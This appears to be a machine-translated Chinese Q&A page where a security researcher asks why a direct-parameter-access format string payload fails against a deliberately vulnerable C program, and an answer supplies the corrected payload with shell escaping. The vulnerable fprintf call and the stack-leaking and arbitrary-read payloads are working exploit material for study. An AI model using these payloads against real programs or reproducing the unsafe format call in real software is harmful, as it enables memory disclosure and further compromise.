我正在做一些计算机安全研究,我正在尝试了解字符串格式的漏洞。我正在运行包含此代码的程序:
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);
当我向程序提供参数“%08x。%08x。%08x。%08x。%08x”(它被读入“数据”变量)时,我得到输出: 00000020.b7fd7560.08048b09.00000019.78383025
据我所知,每个十六进制数都从堆栈中弹出,“78383025”来自缓冲区本身。所以有4个字--16个字节 - 在我到达缓冲区的开始之前我必须弹出。
当我给出参数`perl -e 'print "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'`
时,%s部分打印位于内存地址0xbffff92a的字符串。
现在,我想使用直接参数访问来执行此操作。如果我向程序提供参数`perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`
,我应该期望程序执行与上面相同的操作。但是所有程序打印都是缓冲区开头的四个字符。那么,是什么给了???我使用错误的语法DPA ???
我顺便使用Ubuntu 9.04,32位。
以下是一些可编译的代码,但不保证会产生相同的结果:
#include <stdio.h>
void run(const char* data) {
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf) - 1] = '\0';
fprintf(stderr, buf);
}
int main(int argc, char* argv[]) {
run(argv[1]);
return 0;
}
答案 0 :(得分:4)
%16$s
是指格式字符串后面的第16个参数,并告诉printf
将其解释为char*
并将其显示为字符串。
在获取字符串之前,您似乎使用它作为跳过16个字节的方法,这不完全相同。
由于您需要第5个参数,请尝试更类似于此格式字符串的内容:
"\x2a\xf9\xff\xbf%5$s"
由于您使用perl -e 'print "...";'
传递数据,因此您必须转义$
字符。 IE浏览器。 :
./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`